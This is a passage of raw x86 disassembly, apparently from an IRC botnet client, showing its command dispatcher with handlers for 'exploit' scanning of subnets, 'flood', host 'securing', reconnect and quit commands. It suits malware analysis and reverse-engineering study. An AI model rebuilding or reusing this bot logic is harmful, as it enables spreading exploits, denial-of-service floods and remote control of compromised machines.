		call	sub_41C266
		pop	ecx
		pop	ecx


loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h


loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 2690E78h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax


loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644


loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF58
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF38


loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1


loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF14
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_40418D


loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_404177
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		call	near ptr 2680E92h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BED8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------


loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEC0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBABC
		call	dword_4CB97C
		call	sub_4188A6
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BEA8
		jmp	short loc_40423F
; ---------------------------------------------------------------------------


loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE90


loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8


loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE78
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E4B
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_40434A


loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_404334
; ---------------------------------------------------------------------------


loc_40434A:				; CODE XREF: sub_401ACD+2865j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42BE40
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE28
		call	sub_415D38


loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE24
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx


loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE04
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset byte_40B425
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_40444C


loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_404436
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_401ACD+2967j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42BDC8
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aDark	; "Dark"
		push	offset unk_42BDB0


loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB764
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD84
		jmp	short loc_404467
; ---------------------------------------------------------------------------


loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx


loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------


loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD34
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD04
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------


loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCF4
		push	offset dword_42BCE4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCD8
		push	offset dword_42BCC8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074


loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi


loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------


loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl


loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BCA0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_411BCE
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_4046CA


loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------


loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset dword_42BC64
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------


loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084


loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC38
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EF1C
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_4047D0


loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset unk_42BBF8
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813


loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1


loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBC4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_4048CE


loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------


loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset dword_42BB88
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB


loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB38
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB28
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD60
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAFC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BAD0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD60
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCD8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF1D0, ebx
		jz	short loc_404A01
		push	offset dword_4CEBB0


loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA94
		jmp	loc_404A97
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA64
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA54
		jmp	short loc_404A97
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEBB0
		call	sub_41C890
		pop	ecx
		mov	dword_4CF1D0, 1
		pop	ecx
		push	edi
		push	offset unk_42BA28


loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------


loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9F0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset byte_40BB65
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_404BA0


loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_404B8A
; ---------------------------------------------------------------------------


loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42B9B0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		nop
		call	near ptr 2690E78h
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
		push	[ebp+esi+var_80]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
